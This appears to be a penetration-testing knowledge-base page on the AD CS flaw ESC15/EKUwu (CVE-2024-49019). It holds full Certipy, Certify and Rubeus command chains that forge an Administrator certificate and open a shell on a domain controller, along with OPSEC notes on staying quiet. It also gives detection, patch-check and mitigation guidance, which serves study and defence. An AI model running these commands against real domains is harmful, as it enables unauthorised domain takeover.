esc15-ekuwu-cve-2024-49019.md (11684B)
1 --- 2 title: "ESC15 — EKUwu (CVE-2024-49019)" 3 description: "ESC15, nicknamed EKUwu, was discovered by Justin Bollinger at TrustedSec in late September 2024 and assigned CVE-2024-49019 by Microsoft on November 12…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs"] 7 tools: ["NetExec", "Rubeus", "Certipy", "Evil-WinRM", "OpenSSL"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC15 — EKUwu (CVE-2024-49019).md" 11 --- 12 # ESC15 — EKUwu (CVE-2024-49019) 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Software Vulnerability (not misconfiguration) | 19 | **Difficulty** | Low–Medium | 20 | **Pre-requisites** | Enrollment in schema v1 template + unpatched CA | 21 | **CVE** | CVE-2024-49019 | 22 | **Patched** | November 2024 — KB5044281 | 23 | **Tools** | Certipy, Certify (TrustedSec fork), Cobalt Strike BOFs | 24 | **OPSEC Noise** | Low — looks like normal enrollment | 25 | **One-liner** | Inject arbitrary Application Policy OIDs (like Client Authentication) into a CSR against schema version 1 templates — the CA honours them even if the template never specified those policies. | 26 27 *** 28 29 ## What Is ESC15? 30 31 ESC15, nicknamed **EKUwu**, was discovered by **Justin Bollinger at TrustedSec** in late September 2024 and assigned **CVE-2024-49019** by Microsoft on November 12, 2024. It is fundamentally different from every other ESC attack — **it is not a misconfiguration**. It is a **software vulnerability in Microsoft's implementation of Application Policies in schema version 1 certificate templates**. 32 33 Every other ESC attack requires an admin to have configured something incorrectly. ESC15 exploits a bug in how the CA processes **Certificate Signing Requests (CSRs) against schema version 1 templates** — templates that Microsoft itself ships as defaults. The bug allows an attacker to **inject arbitrary Application Policy OIDs into their CSR** that the CA will honour and embed in the issued certificate, even if the template itself never specified those policies. 34 35 In practical terms: you enroll in a harmless default template, inject `Client Authentication` OID into your CSR, and the CA issues a certificate that can authenticate you as any domain user — including Domain Admin. 36 37 *** 38 39 ## Why Schema Version 1 Is Special 40 41 The entire vulnerability hinges on a behavioural difference between schema versions: 42 43 | Schema Version | Application Policy Behaviour | 44 |---|---| 45 | **Version 1** | CA accepts Application Policies **supplied in the CSR** — attacker controlled | 46 | **Version 2+** | CA ignores CSR-supplied Application Policies — uses only what's defined in the template | 47 48 Version 1 templates are legacy — predating the modern PKI hardening model. They exist because early Active Directory needed them and Microsoft has never forcibly migrated environments away from them. The attack specifically targets the `szOID_APPLICATION_CERT_POLICIES` (`1.3.6.1.4.1.311.21.10`) attribute handling in v1 template processing. 49 50 *** 51 52 ## Default Vulnerable Templates 53 54 Because ESC15 targets schema version 1 templates, it can affect **default Microsoft-provided templates** — no admin misconfiguration required: 55 56 | Template | Default Enrollment Rights | Schema Version | Risk | 57 |----------|--------------------------|---------------|------| 58 | `User` | Domain Users | 1 | ⚠️ **High — every domain user** | 59 | `Machine` | Domain Computers | 1 | ⚠️ **High — every machine** | 60 | `DomainController` | Domain Controllers | 1 | DCs only | 61 | `WebServer` | Administrators | 1 | Often over-permissioned | 62 | `SubCA` | Administrators | 1 | Admin-only normally | 63 | `CA` | Administrators | 1 | Admin-only | 64 65 > 💡 The `User` and `Machine` templates being schema version 1 AND enrollable by all domain users/computers is what makes ESC15 so impactful — no template customisation needed at all. 66 67 *** 68 69 ## Required Conditions 70 71 | Condition | Notes | 72 |-----------|-------| 73 | Template uses **Schema Version 1** | `Schema Version: 1` in certipy output | 74 | Template has **`Enrollee Supplies Subject`** enabled | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` | 75 | Low-priv users can enroll | Standard enrollment rights check | 76 | **Unpatched** (pre-November 2024 KB5044281) | Check patch status | 77 78 *** 79 80 ## Step 0 — Enumeration 81 82 ```bash 83 # Standard scan 84 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 85 -dc-ip $TARGET -vulnerable -stdout 86 87 # Certipy flags ESC15 when it detects Schema Version 1 + Enrollee Supplies Subject 88 89 # Manually check patch status 90 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ 91 -x 'wmic qfe list brief | findstr KB5044281' 92 # If no output = unpatched = ESC15 works 93 ``` 94 95 ### What Vulnerable ESC15 Output Looks Like 96 97 ``` 98 Certificate Templates 99 Template Name : User 100 Schema Version : 1 ← KEY: Schema V1 101 Enabled : True 102 Client Authentication : False ← Not required — you'll inject it 103 Enrollee Supplies Subject : True 104 Requires Manager Approval : False 105 Authorized Signatures Required : 0 106 Permissions 107 Enrollment Rights : DOMAIN\Domain Users 108 109 [!] Vulnerabilities 110 ESC15 : Template schema version is 1 and the template allows the 111 enrollee to supply the subject and an application policy 112 ``` 113 114 *** 115 116 ## Full Attack Chain — Linux (Certipy) 117 118 Certipy's ESC15 support was added after TrustedSec's disclosure. The key flag is `-application-policies` which injects the arbitrary OID into the CSR. 119 120 ### Step 1 — Request Cert with Injected Application Policy + Spoofed Subject 121 122 ```bash 123 # Inject Client Authentication OID + specify Administrator as subject 124 certipy-ad req \ 125 -u 'lowpriv@domain.htb' \ 126 -p 'Password123!' \ 127 -dc-ip $TARGET \ 128 -ca 'DOMAIN-CA-NAME' \ 129 -template 'User' \ 130 -upn 'administrator@domain.htb' \ 131 -application-policies 'Client Authentication' 132 133 # Output: administrator.pfx 134 ``` 135 136 **What Certipy does under the hood:** 137 - Builds a CSR for the `User` template (schema v1) 138 - Injects `Client Authentication` OID (`1.3.6.1.5.5.7.3.2`) into `szOID_APPLICATION_CERT_POLICIES` extension of the CSR 139 - Sets `SubjectAltName: UPN = administrator@domain.htb` 140 - CA honours both — issues cert with Client Auth capability AND Administrator UPN 141 142 **Expected output:** 143 ``` 144 [*] Requesting certificate via RPC 145 [*] Successfully requested certificate 146 [*] Request ID is 14 147 [*] Got certificate with UPN 'administrator@domain.htb' 148 [*] Certificate object SID is 'S-1-5-21-...-500' 149 [*] Saving certificate and private key to 'administrator.pfx' 150 ``` 151 152 ### Step 2 — Authenticate 153 154 ```bash 155 certipy-ad auth \ 156 -pfx administrator.pfx \ 157 -username administrator \ 158 -domain domain.htb \ 159 -dc-ip $TARGET 160 161 # Output: administrator.ccache + NT hash 162 ``` 163 164 ### Step 3 — Shell 165 166 ```bash 167 export KRB5CCNAME=administrator.ccache 168 wmiexec.py -k -no-pass DC01.domain.htb 169 evil-winrm -i $TARGET -u administrator -H <NTHASH> 170 ``` 171 172 *** 173 174 ## Extended Use Cases — Beyond Client Auth 175 176 TrustedSec's research showed ESC15 is more dangerous than ESC2 in some respects because you can inject **any** Application Policy OID: 177 178 ```bash 179 # Code signing certificate — forge software signatures 180 certipy-ad req ... -application-policies 'Code Signing' 181 182 # Smart Card Logon — bypass smart card enforcement 183 certipy-ad req ... -application-policies 'Smart Card Logon' 184 185 # Enrollment Agent — bridges into ESC3 territory 186 certipy-ad req ... -application-policies 'Certificate Request Agent' 187 188 # Any Purpose — like ESC2 189 certipy-ad req ... -application-policies 'Any Purpose' 190 ``` 191 192 Each of these opens a completely different post-exploitation path from the same single vulnerability. 193 194 *** 195 196 ## Windows Attack Chain (TrustedSec Tools) 197 198 ```powershell 199 # ESC15 from Windows requires crafting a custom CSR with injected Application Policy 200 201 # Option A: TrustedSec BOFs (Cobalt Strike) 202 adcs_request /template:User /upn:administrator /appolicies:"1.3.6.1.5.5.7.3.2" 203 204 # Option B: Updated Certify fork from TrustedSec 205 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User ` 206 /altname:administrator /applicationpolicies:"Client Authentication" 207 208 # Convert and authenticate 209 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 210 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap 211 ``` 212 213 *** 214 215 ## ESC15 vs ESC1 and ESC2 216 217 | | ESC1 | ESC2 | **ESC15** | 218 |---|---|---|---| 219 | **Root cause** | Template misconfiguration | Template misconfiguration | **Software bug in schema v1** | 220 | **Admin misconfiguration required?** | ✅ | ✅ | ❌ **No — default templates vulnerable** | 221 | **Injects EKU via** | Template has it pre-set | Template has Any Purpose | **CSR at request time** | 222 | **CVE assigned** | No | No | **CVE-2024-49019** | 223 | **Patched** | No patch (misconfiguration fix) | No patch | ✅ **November 2024 KB5044281** | 224 | **Can inject arbitrary EKUs?** | ❌ | ❌ | ✅ | 225 | **Schema version required** | Any | Any | **Version 1 only** | 226 | **Discovered by** | SpecterOps | SpecterOps | **TrustedSec (Justin Bollinger)** | 227 228 *** 229 230 ## Post-Patch Verification 231 232 ```powershell 233 # Check if KB5044281 is installed 234 Get-HotFix -Id KB5044281 235 236 # If installed, ESC15 is patched — schema v1 templates will no longer 237 # accept CSR-supplied Application Policies 238 239 # Permanent fix — upgrade templates to schema v2+ 240 # In CA MMC: Template Properties → Compatibility tab 241 # Change "Certification Authority" from "Windows 2000" to "Windows Server 2003" or later 242 # This upgrades the template to schema version 2+ 243 ``` 244 245 ### Audit Schema V1 Templates 246 247 ```powershell 248 # Find all schema V1 templates in your environment 249 Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" ` 250 -Filter {msPKI-Template-Schema-Version -eq 1} -Properties * | 251 Select-Object Name, 'msPKI-Template-Schema-Version' 252 ``` 253 254 *** 255 256 ## OPSEC Considerations 257 258 | Action | Log Generated | Noise Level | 259 |--------|--------------|-------------| 260 | Certificate request | Event ID 4886/4887 | 🟢 Low (looks like normal enrollment) | 261 | Patch status check | WMI query | 🟢 Low | 262 | Auth with injected EKU | Event ID 4768 | 🟢 Low | 263 264 > 💡 ESC15 is **very quiet** — the enrollment looks completely legitimate. The only anomaly is that the issued certificate has an Application Policy (Client Auth) that isn't defined on the template configuration. Detecting this requires comparing issued cert policies against template-defined policies. 265 266 *** 267 268 ## Detection Indicators 269 270 - **Event ID 4887** — Certificate issued with `Client Authentication` EKU from a template (`User`, `Machine`) that doesn't have that EKU defined in its configuration 271 - **CSR inspection** — Monitor for CSRs containing `szOID_APPLICATION_CERT_POLICIES` extensions not matching the requested template's defined policies 272 - **Microsoft Defender for Identity** — Has built-in ESC15 detection post-patch 273 - **Template-to-cert comparison** — Alert when issued cert EKUs ≠ template-defined EKUs 274 275 *** 276 277 ## Mitigation 278 279 - **Apply KB5044281** (November 2024 patch) — direct fix for the vulnerability 280 - **Migrate schema v1 templates to v2+** — removes the vulnerable code path entirely (see Post-Patch Verification section) 281 - **Restrict enrollment rights** on `User` and `Machine` templates — removing `Domain Users` from enrollment rights is the single fastest interim mitigation 282 - **Audit schema version 1 templates** using the PowerShell command above 283 - **Monitor for Application Policy injection** — compare issued certificates against template-defined policies